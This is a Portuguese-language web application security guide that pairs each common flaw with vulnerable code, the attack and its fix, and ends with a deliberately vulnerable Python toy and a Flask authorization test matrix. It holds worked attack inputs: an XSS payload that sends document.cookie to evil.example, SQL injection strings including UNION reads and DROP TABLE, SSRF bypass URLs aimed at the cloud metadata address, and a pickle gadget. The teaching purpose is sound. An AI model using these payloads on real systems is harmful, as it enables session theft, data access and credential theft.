CS Fundamentals Trainer · Guias

Segurança de aplicações web: injeção, XSS, CSRF e segredos

Injeção, cross-site scripting, CSRF, controle de acesso quebrado, path traversal, SSRF, desserialização insegura e segredos vazados, cada um mostrado com o código vulnerável, o ataque e a correção, além de cadeia de suprimentos, cabeçalhos e resposta.

51 min de leitura

A maioria das falhas de segurança em aplicações web não é exótica. São os mesmos poucos erros repetidos: tratar a entrada como confiável, esquecer de conferir quem tem permissão para fazer o quê e deixar segredos onde podem ser encontrados. A boa notícia é que cada um tem uma defesa padrão, e conhecer as cinco ou seis que importam cobre a maior parte do risco realista de uma aplicação comum.

Este guia trata os ataques comuns um de cada vez e, para cada um, mostra o código vulnerável, o ataque e a correção. Escrevi um pequeno programa em Python, intencionalmente vulnerável (o código está no apêndice), e executei os ataques contra ele, então as saídas abaixo são reais, exceto a tabela de CSRF, que é um modelo das regras de cookies do navegador e diz isso. A autenticação em si (senhas, sessões, tokens) tem um guia próprio: autenticação e sessões. Teste ataques apenas em sistemas que você possui ou que tem permissão para testar.

1. A mentalidade

Fronteiras de confiança

Uma fronteira de confiança é um lugar onde os dados passam de algo que você não controla para algo que você controla. Tudo o que a atravessa é não confiável até ser validado: campos de formulário, query strings, cabeçalhos e cookies, arquivos enviados, corpos JSON, dados de outros serviços, até linhas do seu próprio banco de dados que vieram de usuários antes. A maioria das vulnerabilidades abaixo é um único erro: dados não confiáveis atravessando uma fronteira e sendo interpretados (como SQL, como HTML, como um caminho de arquivo, como código) em vez de tratados como dados simples.

Diagram: Where untrusted data becomes dangerous

Princípios

A modelagem de ameaças é perguntar, antes de construir, o que estamos protegendo, quem poderia atacar e como? A lista de verificação STRIDE (Spoofing, Tampering, Repudiation, Information disclosure, Denial of service, Elevation of privilege) é um roteiro simples para cada componente e fluxo de dados. Você não precisa de um modelo perfeito; uma hora com o diagrama em um quadro branco acha as falhas óbvias.

O OWASP Top 10 é o catálogo padrão dos riscos web mais comuns. Na edição de 2021, a lista é: controle de acesso quebrado, falhas criptográficas, injeção, design inseguro, configuração de segurança incorreta, componentes vulneráveis e desatualizados, falhas de identificação e autenticação, falhas de integridade de software e dados, falhas de registro e monitoramento e server-side request forgery (confira o site da OWASP para a edição atual). As seções abaixo cobrem a maioria deles.

2. Injeção

A injeção acontece quando a aplicação monta um comando ou consulta colando texto não confiável nele, de modo que os dados podem mudar a estrutura. O SQL é o caso clássico.

def login(name, pw):
    q = f"SELECT name, is_admin FROM users WHERE name = '{name}' AND pw = '{pw}'"
    return db.execute(q).fetchall()

Executei isto contra uma tabela com um usuário comum e um administrador, e comparei com a versão parametrizada. A primeira coluna é o que a função vulnerável devolveu, a segunda o que a segura devolveu:

UsuárioSenhaO código vulnerável devolveA parametrizada devolve
alices3cret!alicealice
alicewrongnadanada
admin' --xadmin (is_admin = 1)nada
x' OR '1'='1todos os usuários, inclusive o administradornada
x' UNION SELECT value, 1 FROM secrets --o conteúdo de outra tabela: api-key-123nada
x'; DROP TABLE users; --xerronada

A terceira linha entrou como administrador sem senha: a aspa fechou a string, e -- transformou o resto da consulta, inclusive a verificação da senha, em um comentário. A quarta tornou a condição sempre verdadeira. A quinta usou UNION para ler dados de uma tabela que a consulta de login nunca tocava. A última tentou executar um segundo statement; o driver do SQLite se recusa a executar dois statements de uma vez, o que é uma propriedade desse driver, e muitos drivers de banco de dados permitem consultas empilhadas, então não conte com isso. Percorra passo a passo o primeiro ataque e a correção:

Interactive animation: sql injection

A correção: parâmetros

def login(name, pw):
    return db.execute("SELECT name, is_admin FROM users WHERE name = ? AND pw = ?", (name, pw)).fetchall()

Com uma consulta parametrizada (prepared statement), o texto SQL e os valores viajam separados. O banco de dados faz o parse do texto primeiro, então sua estrutura está fixada, e os valores só são comparados como dados. Todos os ataques da tabela falharam, porque para o banco de dados eram apenas nomes de usuário incomuns. Regras que acompanham isso:

O mesmo padrão aparece em outros interpretadores: injeção de comandos do SO (os.system("convert " + filename): use uma lista de argumentos e nenhum shell), operadores NoSQL em consultas JSON, LDAP, XPath, injeção de template e injeção de cabeçalhos. A cura é sempre a mesma: mantenha dados e código separados, ou valide contra uma allowlist estrita quando não puder.

3. Cross-site scripting (XSS)

O XSS é injeção no navegador: texto controlado pelo atacante acaba na sua página como HTML ou JavaScript, roda com os privilégios do seu site e pode ler a página, agir como o usuário e roubar tudo o que não esteja protegido de scripts. Os três tipos são armazenado (guardado pela aplicação e mostrado a outros usuários, como um comentário), refletido (devolvido a partir da requisição, como um termo de busca em uma página de erro) e baseado em DOM (código no cliente escreve dados não confiáveis na página, por exemplo por innerHTML).

Um comentário contendo <img src=x onerror="fetch('//evil.example/?c='+document.cookie)"> inserido cru na página produz uma tag de imagem que falha ao carregar e executa o script, enviando o cookie embora. Veja como fica a mesma saída com a codificação certa para cada lugar onde o texto pode cair:

Onde o texto vaiErradoCerto
Corpo HTML<p> + texto cru + </p>&lt;img src=x onerror=&quot;fetch(...)&quot;&gt;: escape HTML de < > & " '
Atributo HTML, entre aspas<input value=" + cru + "> em que o texto é " onmouseover="alert(1) dá value="" onmouseover="alert(1)"value="&quot; onmouseover=&quot;alert(1)"
<script> embutidovar name = '</script><script>alert(1)</script>'; fecha o script e começa outrocodifique em JSON e escape < como <: var name = "</script><script>alert(1)</script>";
URLuma URL javascript: em um hrefpermita apenas http: e https: (uma allowlist de esquemas)

A ideia central é a codificação de saída sensível ao contexto: o escape correto depende de onde o dado é colocado (HTML, um atributo, JavaScript, CSS, uma URL), então não existe uma função que sirva em todo lugar. Regras práticas:

4. Cross-site request forgery (CSRF)

Se o seu site autentica com um cookie, o navegador anexa esse cookie a toda requisição ao seu domínio, inclusive às requisições iniciadas por outro site. Uma página maliciosa pode conter um formulário que envia um POST para https://bank.example/transfer; o navegador envia o cookie da vítima, e o banco não consegue distinguir a requisição de uma genuína. O CSRF abusa dessa autoridade ambiente.

Modelei a regra do navegador para enviar cookies e as verificações do servidor, e perguntei quais requisições que mudam estado seriam aceitas. (Isto é um modelo das regras, não um navegador de verdade.)

RequisiçãoSem proteçãoCookie SameSite=LaxSameSite=Lax mais token CSRFToken CSRF, qualquer SameSiteVerificação de Origin
POST de formulário vindo de evil.exampleaceitarejeitada (cookie não enviado)rejeitadarejeitada (token ruim)rejeitada (origem estrangeira)
um link ou redirecionamento (GET) de evil.example para /transfer?to=xaceitaaceitarejeitada (token ruim)rejeitadaaceita (não há origin em uma navegação)
o formulário real em bank.exampleaceitaaceitaaceitaaceitaaceita

O que tirar disso:

5. Controle de acesso quebrado

A falha séria mais comum da lista da OWASP é também a mais banal: a aplicação confere que você está logado, mas não que você tem permissão para tocar este objeto.

@app.get("/invoices/{id}")
def get_invoice(id, user):
    return db.query("SELECT * FROM invoices WHERE id = ?", id)       # any logged-in user can read any invoice

Um atacante simplesmente troca 1234 por 1235 na URL. Isso se chama referência direta insegura a objeto (IDOR), ou autorização quebrada em nível de objeto (BOLA) no vocabulário de APIs. A correção é fazer a posse fazer parte da consulta, de modo que a pergunta seja "a fatura com este id que pertence a este usuário":

    return db.query("SELECT * FROM invoices WHERE id = ? AND owner_id = ?", id, user.id)   # not yours: 404

Regras:

5.1 Uma matriz de testes de autorização para acesso a objetos e isolamento entre tenants

"Teste que o usuário B não consegue ler os objetos do usuário A" é fácil de escrever uma vez e fácil de esquecer no próximo endpoint. Uma matriz torna o teste sistemático: liste os atores, as ações e os objetos, declare a política como dados e gere todas as combinações. Montei uma para uma pequena API de faturas com dois tenants (script no apêndice; um cliente de teste do Flask, sem rede):

DimensãoValores
Atoresalice e bob (membros do tenant T1), carol (admin de T1), dave (membro de T2), erin (admin de T2) e um visitante anônimo
Objetosfatura 1 (de alice, T1), fatura 2 (de bob, T1), fatura 3 (de dave, T2)
Açõesler, atualizar, excluir, listar, criar (com um cliente do próprio tenant ou de outro), funções administrativas (listar usuários, mudar um papel)
Políticaum membro pode agir sobre as próprias faturas; um admin, sobre todas as faturas do seu tenant; ninguém, sobre os dados de outro tenant

As expectativas são estritas, não apenas "negado": o anônimo recebe 401; um objeto de outro tenant deve dar exatamente 404, para que a resposta não revele que ele existe; o objeto de outro usuário no mesmo tenant dá 403 ou 404; cada listagem deve conter exatamente as faturas que a política permite; e uma atualização não pode conseguir mudar owner ou tenant (mass assignment). São 95 verificações. Contra o app correto, as 95 passam. Depois liguei, uma de cada vez, sete falhas realistas e contei as verificações que falharam:

Falha injetadaVerificações que falhamComo é a primeira falha
a leitura verifica o tenant, mas não o dono2alice lê a fatura de bob (200)
listar e ler ignoram o tenant para admins11carol (admin de T1) lê a fatura de dave em T2
a atualização copia todos os campos do corpo (mass assignment)1a atualização de alice moveu a fatura para bob e para o tenant T2
excluir permite que um admin exclua entre tenants3carol exclui a fatura de dave (204)
criar aceita um cliente de outro tenant5alice cria uma fatura para o cliente do tenant T2
uma função administrativa sem a verificação de papel3alice lista os usuários
um admin pode mudar papéis em outro tenant5carol torna dave admin

As sete foram detectadas, que é o que uma boa matriz deve fazer; uma falha que nenhum caso pega significa que a matriz tem uma lacuna. Práticas que fazem isso funcionar em uma base de código real:

6. Arquivos, URLs e desserialização

Path traversal

Uma função que serve arquivos de uma pasta com os.path.join(base, name) confia em name. Criei uma pasta pública ao lado de um arquivo secreto e pedi alguns nomes:

Nome pedidoJoin ingênuoCaminho resolvido conferido contra a pasta
a.txtpúblicopúblico
../secret.txtTOP SECRET403 proibido
/etc/hostnameo nome do host da máquina403 proibido
..%2fsecret.txt (não decodificado)erro404

A primeira linha de defesa é resolver o caminho final (seguindo .. e links simbólicos) e verificar que ele ainda está dentro do diretório pretendido; a segunda é usar identificadores (um id de banco de dados mapeado para um nome de arquivo armazenado) em vez de nomes fornecidos pelo usuário, e guardar os uploads fora da raiz web com um nome gerado, nunca confiando na extensão nem no tipo de conteúdo.

Server-side request forgery (SSRF)

Se o seu servidor busca uma URL fornecida pelo usuário (um webhook, uma pré-visualização de imagem, uma importação por URL), um atacante pode apontá-lo para coisas que só o servidor alcança: serviços internos, localhost ou o endpoint de metadados do provedor de nuvem (169.254.169.254), que pode entregar credenciais. Defesas: faça uma allowlist dos hosts que pretende chamar; resolva o nome e recuse endereços privados, de loopback e de link-local (confira de novo depois dos redirecionamentos, e contra DNS rebinding, conectando-se ao endereço que você conferiu); desative os redirecionamentos ou revalide cada um; execute essas buscas a partir de uma rede isolada sem acesso aos sistemas internos; e exija o serviço de metadados mais novo, baseado em token, nas instâncias de nuvem.

SSRF na prática: o endpoint de metadados da nuvem e os detalhes que vencem filtros simples

O perigo do SSRF é concreto. Em uma máquina virtual de nuvem, o endereço 169.254.169.254 (e fd00:ec2::254 na AWS por IPv6) serve os metadados da instância, incluindo credenciais temporárias do papel da máquina. Uma aplicação que busca uma URL fornecida pelo usuário pode ser levada a buscar esse endereço e devolver as credenciais ao atacante. As defesas funcionam em camadas, e a camada da aplicação sozinha não basta.

1. Na aplicação: verifique o endereço, não o texto. Um filtro sobre a string da URL ("contém 169.254?") é fácil de contornar. Escrevi a verificação sobre os endereços resolvidos e a executei em 19 entradas (só biblioteca padrão; DNS e HTTP trocados por stubs; script no apêndice). Uma foi permitida (um host público); 18 foram bloqueadas:

EntradaPor que um filtro de texto não a pegaResultado
http://169.254.169.254/latest/meta-data/...(o caso simples)bloqueada: link-local
http://2852039166/o endereço escrito como um único número decimalbloqueada: resolve para 169.254.169.254
http://0xa9.0xfe.0xa9.0xfe/octetos em hexadecimalbloqueada
http://127.1/um endereço de loopback abreviadobloqueada: 127.0.0.1
http://[::ffff:169.254.169.254]/um endereço IPv4 dentro de IPv6bloqueada (o endereço mapeado é desembrulhado antes da verificação)
http://[fd00:ec2::254]/o endereço IPv6 de metadados da AWSbloqueada: unique-local
http://evil.example/um nome cujo registro DNS aponta para 169.254.169.254bloqueada: verificada depois da resolução
http://example.org@169.254.169.254/o texto antes de @ são credenciais, o host vem depois; os parsers divergembloqueada: credenciais em uma URL são recusadas
http://100.64.0.1/faixa de NAT de operadora (carrier-grade), frequentemente internabloqueada: não é um endereço global
http://example.org:6379/uma porta de banco de dados em um host públicobloqueada: só as portas 80 e 443
file:///etc/passwd, gopher://...outros esquemasbloqueada: só http e https

As regras que o código segue: permitir apenas http e https em portas conhecidas; resolver o nome e exigir que todo endereço devolvido seja globalmente roteável (is_global do ipaddress, depois de desembrulhar o IPv6 mapeado de IPv4); conectar ao endereço que você verificou, e não ao nome de novo; repetir toda a verificação em cada redirecionamento.

A segunda e a terceira regras importam. Um nome de DNS rebinding responde com um endereço público quando você o verifica e com 169.254.169.254 um segundo depois, quando o cliente HTTP o resolve de novo para conectar: no script, a verificação viu 93.184.216.34, um cliente que resolveu de novo recebeu 169.254.169.254, e a versão segura, que conecta ao endereço verificado, não. Um redirecionamento de um host inofensivo para o endereço de metadados foi bloqueado porque o destino do redirecionamento passou pela mesma verificação.

2. Na máquina: torne o serviço de metadados mais difícil de alcançar (da documentação dos provedores; não foi executado aqui):

3. Na rede: controle a saída (egress). Execute os buscadores de URL em um processo ou segmento de rede separado, cuja saída seja limitada à internet e não alcance as faixas privadas nem o endereço de metadados; coloque um proxy de saída com lista de permissões na frente dos serviços que precisam chamar um conjunto fixo de hosts. Se a funcionalidade só precisa de alguns parceiros, coloque os nomes de host deles em uma lista de permissões e dispense o problema.

4. Torne a resposta inútil. Não devolva o corpo buscado ao usuário sem filtrar (um SSRF "cego" ainda varre a sua rede, mas devolver a resposta exfiltra os dados); valide que a busca de uma imagem realmente devolve uma imagem.

Tratando uploads de arquivos com segurança

Um upload é uma entrada não confiável de três formas: o nome, o conteúdo e o tamanho. O script do apêndice processa imagens e eu o alimentei com doze uploads:

UploadResultadoA regra que decidiu
um PNG normalaceito
shell.php, ou shell.png contendo PHPrecusadolista de permissões de extensões (só png, jpg, gif); além disso, o conteúdo precisa mesmo começar com a assinatura do PNG
evil.svg (com um script onload)recusadoSVG é XML que pode carregar script; sirva-o apenas se o sanitizar, ou como download
a.jpg que na verdade é um PNGrecusadoo tipo detectado pelo conteúdo deve coincidir com a extensão
um arquivo de 3 MBrecusadolimite de tamanho verificado antes de qualquer análise
flood.png: 389 KB que declaram 20.000 × 20.000 pixels (400 megapixels, cerca de 400 MB depois de decodificado)recusadoa contagem de pixels é lida do cabeçalho e verificada antes de decodificar (uma bomba de descompressão)
um PNG válido com <?php ... ?> anexado depois da imagem (um poliglota)aceito, mas o arquivo armazenado já não contém a cargaa imagem é recodificada: decodificar e gravar um arquivo novo mantém os pixels e descarta bytes finais e metadados
um JPEG com uma descrição EXIF (localização, câmera)aceito; armazenado sem EXIFa recodificação remove os metadados (privacidade, além de segurança)
../../etc/cron.d/x.png, shell.php.png, x.png\0.phparmazenados com um nome aleatório (ou recusados pela extensão)o nome armazenado é um identificador gerado; o nome do cliente nunca é usado como caminho

Só a detecção pelo conteúdo aceitou o poliglota, o que mostra por que verificações nos bytes não bastam: recodificar é o passo forte, porque o que você guarda é o que a sua própria biblioteca produziu. Faça isso em um worker isolado (sandbox), com limites de memória e de tempo, já que as bibliotecas de imagem tiveram muitos bugs de segurança de memória.

A lista completa de práticas:

Desserialização insegura

Alguns formatos podem descrever objetos e código, não apenas dados. No Python, pickle.loads executa qualquer função que os bytes nomeiem: montei uma carga que o fazia chamar uma função da minha escolha (uma inofensiva que devolve o id do processo) ao ser carregada. Se os bytes viessem de um atacante, a função seria os.system. O json.loads do mesmo tipo de entrada só produz dados simples. A regra: nunca desserialize dados não confiáveis com um formato que possa instanciar tipos arbitrários (pickle, a serialização nativa do Java, o BinaryFormatter do .NET, o load do YAML com construtores completos); use JSON ou Protocol Buffers com um schema e valide o resultado.

7. Segredos

Um segredo é tudo o que concede acesso: senhas, chaves de API, tokens, chaves privadas, URLs de banco de dados. Eles vazam pelo controle de versão, logs, páginas de erro, imagens de contêiner, bundles no cliente, capturas de tela e mensagens de chat.

Criei um repositório, fiz commit de um arquivo contendo uma chave de API e depois fiz commit de uma mudança que a removia. A versão mais recente do arquivo está limpa, mas git log -S AKIAEXAMPLE achou a chave em ambos os commits: apagar um segredo do último commit não o remove do histórico. Qualquer pessoa que já clonou o repositório o tem. Então:

  1. Se um segredo vazar, rotacione-o (revogue e substitua), e só depois limpe. Trate-o como comprometido desde o momento em que foi exposto.
  2. Mantenha os segredos fora do código: leia-os do ambiente ou de um gerenciador de segredos (um serviço de nuvem, o HashiCorp Vault, segredos do Kubernetes com criptografia em repouso), injetados em tempo de execução. Mantenha o .env fora do controle de versão e distribua um .env.example com valores falsos.
  3. Procure por eles: hooks de pre-commit e verificações de CI (gitleaks, trufflehog, a varredura de segredos da plataforma) pegam uma chave antes de ela ser enviada.
  4. Nunca ponha segredos em código do cliente. Tudo o que está em um navegador ou em um bundle de aplicativo móvel é público; um "segredo" ali é apenas um identificador.
  5. Dê a todo segredo o privilégio mínimo e uma vida curta: chaves separadas por serviço e por ambiente, permissões com escopo, expiração e credenciais de curta duração de um serviço de identidade sempre que possível.
  6. Não os registre em logs. Oculte tokens, senhas, números de cartão e dados pessoais dos logs e traces (observabilidade tem a nota de privacidade).
  7. Compare segredos em tempo constante (hmac.compare_digest) e guarde as senhas apenas como hashes lentos e com salt.

8. Dependências e a cadeia de suprimentos

Sua aplicação é feita, em sua maior parte, do código de outras pessoas. Uma vulnerabilidade em uma biblioteca (como o Log4Shell em 2021) ou um pacote malicioso (typosquatting, uma conta de mantenedor sequestrada) vira a sua vulnerabilidade.

9. Transporte, cabeçalhos e configuração

10. Detecção e resposta

A prevenção às vezes falha, então planeje perceber e responder: registre eventos de autenticação, falhas de controle de acesso e falhas de validação de entrada; alerte sobre padrões incomuns (muitos logins falhos, uma conta exportando muitos dados); mantenha logs de auditoria que a aplicação não possa alterar; tenha um plano escrito de resposta a incidentes (quem decide, como revogar acessos, como notificar usuários e reguladores); e pratique-o. Os padrões de resiliência do guia de resiliência também limitam o dano de um ataque que causa carga.

Testes de regressão de segurança no CI

Toda vulnerabilidade que você corrige, e toda classe que lhe preocupa, deve virar um teste que roda a cada mudança; senão ela volta na próxima refatoração. Ferramentas diferentes pegam coisas diferentes, então um pipeline as coloca em camadas:

CamadaO que pegaExemplos de ferramentasFalhar o build quando
Testes de autorização e de abuso (código próprio)verificações de dono ou de tenant ausentes, regras de SSRF e de upload, mass assignmenta matriz e os testes deste guia, executados com unittest ou pytestqualquer verificação falhar
Análise estática (SAST)padrões de injeção, funções inseguras, segredos fixos no códigoSemgrep, CodeQL, Bandit (Python), regras de segurança do ESLintum novo achado acima da severidade combinada
Varredura de dependênciasvulnerabilidades conhecidas em bibliotecas (veja a seção 8, dependências e a cadeia de suprimentos)pip-audit, npm audit, OSV-Scanner, Dependabotuma versão vulnerável com correção disponível
Varredura de segredoschaves e tokens commitados por enganogitleaks, TruffleHog, a proteção de push da plataformaqualquer segredo detectado (e rotacione-o)
Varredura de contêineres e infraestruturaimagens base vulneráveis, configurações arriscadas em Dockerfiles, Terraform, KubernetesTrivy, Checkovachados críticos
Varredura dinâmica (DAST) contra um deploy de testecabeçalhos ausentes, XSS refletido, redirecionamentos abertos, caminhos expostosvarredura de baseline do OWASP ZAPnovos alertas acima do limite

Executei a primeira linha (os testes do apêndice): python3 -m unittest -v test_security rodou 11 testes em cerca de 2,7 segundos, todos passando: a matriz de 95 verificações, um teste de que a matriz detecta cada uma das sete falhas injetadas (um teste dos testes), um teste de que toda rota está coberta, e os casos de SSRF e de upload. Não executei aqui as ferramentas das outras linhas (não estavam instaladas e o sandbox não tinha acesso a pacotes); a lista reflete a documentação delas. Um workflow em um sistema de CI tem este aspecto (um esboço, não executado):

name: security
on: [pull_request]
jobs:
  checks:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: python -m unittest discover -s tests -p "test_security*.py" -v     # authorization matrix, SSRF, uploads
      - run: pip-audit -r requirements.txt                                      # known vulnerable dependencies
      - run: semgrep scan --config auto --error                                 # static analysis, fails on findings
      - run: gitleaks detect --redact                                           # secrets in the history
      - run: trivy fs --severity CRITICAL,HIGH --exit-code 1 .                  # dependencies, Dockerfile, IaC

Hábitos que mantêm essas verificações úteis:

11. Erros comuns

12. Coisas a mencionar em uma entrevista

Resumo rápido

Apêndice: o código dos experimentos

Um script Python 3 usando apenas a biblioteca padrão e o git. Ele cria um banco de dados SQLite em memória com uma tabela de usuários e uma tabela de segredos, depois chama uma versão vulnerável e uma segura de uma função de login, mostra a codificação de saída em quatro contextos, serve arquivos de uma pasta temporária, carrega um pickle, cria um repositório git descartável para mostrar um segredo sobrevivendo no seu histórico e, por fim, executa o modelo de CSRF. O programa é deliberadamente inseguro (guarda senhas em texto puro e concatena SQL) para que os ataques possam ser vistos; não copie as funções vulneráveis. A parte do CSRF é um modelo das regras de envio de cookies (SameSite) e de três defesas do servidor, não um navegador de verdade, e as regras reais têm mais casos (por exemplo, a janela de dois minutos que alguns navegadores dão a cookies sem um atributo SameSite). Tudo roda offline, não toca em nenhum sistema real e escreve apenas em diretórios temporários.

Os ataques e as defesas, executados contra um brinquedo deliberadamente vulnerável

import sqlite3, html, os, pickle, subprocess, tempfile, hmac, hashlib, posixpath, json

# ---------- 1. SQL injection: the same login function, built two ways
db = sqlite3.connect(":memory:")
db.execute("create table users(id integer primary key, name text, pw text, is_admin int)")
db.execute("create table secrets(owner text, value text)")
db.executemany("insert into users(name, pw, is_admin) values (?,?,?)", [("alice", "s3cret!", 0), ("admin", "Zx9$unguessable", 1)])
db.execute("insert into secrets values ('admin', 'api-key-123')")

def login_unsafe(name, pw):
    q = f"SELECT name, is_admin FROM users WHERE name = '{name}' AND pw = '{pw}'"
    try: return db.execute(q).fetchall()
    except sqlite3.Error as e: return f"error: {e}"
def login_safe(name, pw):
    return db.execute("SELECT name, is_admin FROM users WHERE name = ? AND pw = ?", (name, pw)).fetchall()

attacks = [("alice", "s3cret!"), ("alice", "wrong"), ("admin' --", "x"), ("x", "' OR '1'='1"),
           ("x", "' UNION SELECT value, 1 FROM secrets --"), ("x'; DROP TABLE users; --", "x")]
print("login attempts: (name, password) -> unsafe | safe")
for n, p in attacks: print(f"  {n!r:>38}, {p!r:<42} -> {login_unsafe(n, p)} | {login_safe(n, p)}")
print("users table still exists after the DROP attempt:", db.execute("select count(*) from users").fetchone()[0], "rows (sqlite runs one statement per execute, so the stacked query failed)")

# ---------- 2. output encoding against XSS
payload = '<img src=x onerror="fetch(\'//evil.example/?c=\'+document.cookie)">'
print("\nXSS payload in a comment:")
print("  inserted raw into HTML:   <p>" + payload + "</p>")
print("  html.escape'd:            <p>" + html.escape(payload) + "</p>")
attr = '" onmouseover="alert(1)'
print("  in an attribute, raw:     <input value=\"" + attr + "\">")
print("  in an attribute, escaped: <input value=\"" + html.escape(attr, quote=True) + "\">")
js = "</script><script>alert(1)</script>"
print("  in an inline script, wrong way:", f"<script>var name = '{js}';</script>")
print("  in an inline script, json.dumps with < escaped:", "<script>var name = " + json.dumps(js).replace("<", "\\u003c") + ";</script>")

# ---------- 3. path traversal
base = tempfile.mkdtemp(); os.makedirs(base + "/public"); open(base + "/public/a.txt", "w").write("public"); open(base + "/secret.txt", "w").write("TOP SECRET")
def serve_unsafe(name): 
    try: return open(os.path.join(base, "public", name)).read()
    except OSError as e: return f"error {e.errno}"
def serve_safe(name):
    root = os.path.realpath(base + "/public"); p = os.path.realpath(os.path.join(root, name))
    if os.path.commonpath([root, p]) != root: return "403 forbidden"
    try: return open(p).read()
    except OSError: return "404"
print("\npath traversal:")
for n in ("a.txt", "../secret.txt", "..%2fsecret.txt", "/etc/hostname"): print(f"  {n!r:>20}: unsafe -> {serve_unsafe(n)!r:>14}   safe -> {serve_safe(n)!r}")

# ---------- 4. deserialising untrusted data
class Evil:
    def __reduce__(self): return (os.getpid, ())          # a harmless stand-in: any function can be called here
blob = pickle.dumps(Evil())
print("\npickle.loads of an attacker's bytes called a function of the attacker's choice, result:", pickle.loads(blob) == os.getpid())
print("json.loads of the same kind of input can only produce data:", json.loads('{"__reduce__": ["os.getpid", []]}'))

# ---------- 5. secrets in git history
d = tempfile.mkdtemp(); run = lambda *a: subprocess.run(a, cwd=d, capture_output=True, text=True).stdout
run("git", "init", "-q"); run("git", "config", "user.email", "a@b.c"); run("git", "config", "user.name", "x")
open(d + "/config.py", "w").write("API_KEY = 'AKIAEXAMPLEKEY123456'\n"); run("git", "add", "."); run("git", "commit", "-qm", "add config")
open(d + "/config.py", "w").write("import os\nAPI_KEY = os.environ['API_KEY']\n"); run("git", "commit", "-qam", "remove the key from the code")
print("\nsecret removed from the file in the latest commit; is it still in the repository?")
print("  working tree contains it:", "AKIAEXAMPLE" in open(d + "/config.py").read())
print("  git log -S finds it in:", run("git", "log", "-S", "AKIAEXAMPLE", "--oneline").strip().replace("\n", ", "))

# ---------- 6. timing-safe comparison and token handling
def naive_eq(a, b):
    for x, y in zip(a, b):
        if x != y: return False
    return len(a) == len(b)
print("\nconstant-time compare available:", hmac.compare_digest(b"abc", b"abc"), hmac.compare_digest(b"abc", b"abd"))

# ---------- 7. CSRF: which requests does the server accept? (a model of the browser rules, not a browser)
def server(req, defense):
    if req["cookie_sent"] is False: return "rejected: not logged in"
    if defense == "none": return "ACCEPTED"
    if defense == "token": return "ACCEPTED" if req["token"] == "per-session-secret" else "rejected: bad token"
    if defense == "origin": return "ACCEPTED" if req["origin"] in (None, "https://bank.example") else "rejected: foreign origin"
def browser_sends_cookie(req, samesite):                       # SameSite rules for a cross-site request
    if not req["cross_site"]: return True
    if samesite == "none": return True
    if samesite == "lax": return req["method"] == "GET" and req["top_level_navigation"]
    return False                                                # strict
cases = {"form POST from evil.example": dict(cross_site=True, method="POST", top_level_navigation=False, origin="https://evil.example", token=None),
         "link GET to /transfer?to=x from evil.example": dict(cross_site=True, method="GET", top_level_navigation=True, origin=None, token=None),
         "real form on bank.example": dict(cross_site=False, method="POST", top_level_navigation=False, origin="https://bank.example", token="per-session-secret")}
print("\nCSRF: would a state-changing request be accepted? (cookie rule, then server rule)")
for name, c in cases.items():
    row = []
    for samesite, defense in (("none", "none"), ("lax", "none"), ("lax", "token"), ("none", "token"), ("none", "origin")):
        c2 = dict(c); c2["cookie_sent"] = browser_sends_cookie(c, samesite)
        row.append(f"SameSite={samesite}+{defense}: {server(c2, defense)}")
    print(" ", name); [print("     ", r) for r in row]

Matriz de testes de autorização: uma pequena API Flask com sete falhas que podem ser ligadas

Precisa do Flask. O cabeçalho X-User faz o papel da autenticação real e serve só para testes.

"""An authorization test matrix for object-level access and tenant isolation.
A tiny Flask app (identity comes from a test header; never do that in production) with six bugs that can be switched on one at a time,
and a generated matrix of actors x actions x objects that is checked against an explicit policy."""
import itertools, json
from flask import Flask, request, jsonify, abort

USERS = {  # id: (tenant, role)
    "alice": ("T1", "member"), "bob": ("T1", "member"), "carol": ("T1", "admin"), "dave": ("T2", "member"), "erin": ("T2", "admin")}
INVOICES0 = {1: dict(owner="alice", tenant="T1", title="alice's"), 2: dict(owner="bob", tenant="T1", title="bob's"), 3: dict(owner="dave", tenant="T2", title="dave's")}
CUSTOMERS = {10: "T1", 11: "T2"}
EDITABLE = {"title"}

def make_app(bugs=()):
    app = Flask(__name__); inv = {k: dict(v) for k, v in INVOICES0.items()}; users = {k: list(v) for k, v in USERS.items()}
    def me():
        u = request.headers.get("X-User")
        if u not in users: abort(401)
        return u, users[u][0], users[u][1]
    def visible(uid, ten, role, i):
        if "list_missing_tenant" in bugs: return i["owner"] == uid or role == "admin"          # admins see every tenant
        return i["tenant"] == ten and (i["owner"] == uid or role == "admin")
    @app.get("/invoices")
    def lst():
        uid, ten, role = me(); return jsonify([k for k, i in inv.items() if visible(uid, ten, role, i)])
    @app.get("/invoices/<int:n>")
    def get(n):
        uid, ten, role = me(); i = inv.get(n)
        if not i: abort(404)
        if "get_missing_owner" in bugs: ok = i["tenant"] == ten                              # any member of the tenant can read
        else: ok = visible(uid, ten, role, i)
        if not ok: abort(404)
        return jsonify(i)
    @app.patch("/invoices/<int:n>")
    def patch(n):
        uid, ten, role = me(); i = inv.get(n)
        if not i or not visible(uid, ten, role, i): abort(404)
        body = request.get_json()
        for k, v in body.items():
            if k in EDITABLE or "mass_assignment" in bugs: i[k] = v                          # the bug: copies owner, tenant... from the body
        return jsonify(i)
    @app.delete("/invoices/<int:n>")
    def delete(n):
        uid, ten, role = me(); i = inv.get(n)
        if not i: abort(404)
        ok = (i["owner"] == uid or role == "admin") if "delete_wrong_tenant" in bugs else visible(uid, ten, role, i)
        if not ok: abort(404)
        del inv[n]; return "", 204
    @app.post("/invoices")
    def create():
        uid, ten, role = me(); b = request.get_json()
        if "create_foreign_customer" not in bugs and CUSTOMERS.get(b["customer"]) != ten: abort(404)    # the customer must be in my tenant
        n = max(inv) + 1; inv[n] = dict(owner=uid, tenant=ten, title=b.get("title", ""), customer=b["customer"]); return jsonify(n), 201
    @app.get("/admin/users")
    def admin_users():
        uid, ten, role = me()
        if "admin_no_check" not in bugs and role != "admin": abort(403)
        return jsonify([u for u, v in users.items() if v[0] == ten])
    @app.post("/admin/users/<u>/role")
    def set_role(u):
        uid, ten, role = me()
        if role != "admin": abort(403)
        if "admin_other_tenant" not in bugs and (u not in users or users[u][0] != ten): abort(404)   # an admin may only manage their own tenant
        users[u][1] = request.get_json()["role"]; return "", 204
    return app

def policy(actor, inv):
    """The explicit policy the tests check against: may `actor` read, change or delete invoice `inv`?"""
    tenant, role = USERS[actor]
    return tenant == inv["tenant"] and (inv["owner"] == actor or role == "admin")

def run_matrix(bugs=()):
    failures = []; n = 0
    def check(name, got, want_ok, cross_tenant=False):
        nonlocal n; n += 1
        ok_codes = {200, 201, 204}
        if want_ok: good = got in ok_codes
        elif cross_tenant: good = got == 404                 # must not even reveal that the object exists
        else: good = got in {403, 404}
